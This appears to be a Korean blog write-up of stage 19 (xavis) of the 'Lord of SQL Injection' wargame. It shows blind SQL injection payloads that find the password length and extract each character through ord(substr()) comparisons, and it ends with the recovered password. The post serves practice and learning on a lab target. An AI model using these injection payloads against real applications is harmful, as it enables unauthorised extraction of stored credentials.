관리 메뉴

FU11M00N

Lord of injection xavis(19)단계 본문

Web Hacking/Lord of injection

Lord of injection xavis(19)단계

호IT 2019. 11. 9. 23:19

안녕하세요!! 슬슬 날이 쌀쌀해지네요.. 추워질려나봅니다!

그럼 코드 보시죠!

사진 1

블라인드인젝션문제이고, 

금지된것은 prob , _(언더바) , .(쩜) , ( ) 인것같습니다! 그리고

regex와 like 함수를 막고있네요!!

일단 항상 그랬듯 길이부터알아냅시다!

?pw=1234 ' or length(pw) =40 %23 을 해줬는데요,,

사진 2

이번 문제는 길이가 40인듯합니다.. 

 그럼 값을알아봅시다!

값은 substr 함수를 이용하여 알아보겠습니다!

사진 3

문제가 좀 이상한것같아 아스키코드표에있는 값을 전부 대입해보니 값이안나와

 

확장 아스키코드표를 참고해 값을구해보니 나왔습니다.

확장아스키코드는 128~255 까지이고 

확장아스키코드란 영문자와 숫자로 표현할수없는 문자를 넣어 확장하여 만든것입니다.

 

 

그럼 ord 함수를 이용해 풀어보겠습니다!

ascii를 와 ord의 차이점은

 

ascii

Returns the numeric value of the leftmost character of the string str. Returns 0 if str is the empty string. Returns  NULL if str is NULL. ASCII() works for 8-bit characters.

문자열 str 의 가장 왼쪽 문자의 숫자 값을 반환한다. str이 빈 문자열인 경우 0을 반환하십시오. 돌아온다
str이 NULL이면 NULL. ASCII()는 8비트 문자로 작동한다.

 

ord는 

If the leftmost character of the string str is a multibyte character, returns the code for that character, 

calculated from the numeric values of its constituent bytes using this formula

문자열의 왼쪽 끝 문자가 멀티바이트 문자인 경우 해당 문자의 코드를 반환하십시오.

 

If the leftmost character is not a multibyte character, ORD() returns the same value as the ASCII() function.

가장 왼쪽의 문자가 멀티 바이트 문자가 아닌 경우 ORD ()는 ASCII () 함수와 동일한 값을 반환합니다

 

더 자세한 정보는 https://dev.mysql.com/doc/refman/5.7/en/string-functions.html 

에서 확인하시면 되겠습니다!

사진 4

위 사진과같이 하나에 4byte라고 알수있는데요,

ord 함수를 이용해 얻은 확장 아스키코드값 10진수의 값은 이렇게 10개입니다. 

제가 아까 길이가 40이라고 했는데 pw의 갯수는 10개입니다.

한 글자당 4byte를 차지하고있어 4byte x 10 = 40 이라고 뜬것같습니다!

 


?pw=1234 'or ord(substr(pw,1,1))=184 %23

?pw=1234 'or ord(substr(pw,2,1))=249 %23

?pw=1234 'or ord(substr(pw,3,1))=197 %23

?pw=1234 'or ord(substr(pw,4,1))=176 %23

?pw=1234 'or ord(substr(pw,5,1))=198 %23

?pw=1234 'or ord(substr(pw,6,1))=208 %23

?pw=1234 'or ord(substr(pw,7,1))=196 %23

?pw=1234 'or ord(substr(pw,8,1))=161 %23

?pw=1234 'or ord(substr(pw,9,1))=164 %23

?pw=1234 'or ord(substr(pw,10,1))=187%23

 

확장 아스키로 알아낸 10진수 값입니다.

그럼 이 값을 변환하면(사이트 https://www.branah.com/ascii-converter)

¸ùÅ°ÆÐÄ¡¤» 가 나옵니다.

 

사진 6

?pw=¸ùÅ°ÆÐÄ¡¤» 을 입력해주면 clear가 됩니다..

이 문제 처음엔 정말 쉬운문제로봤는데

너무 어려웠습니다ㅠㅠ..

 

 

Comments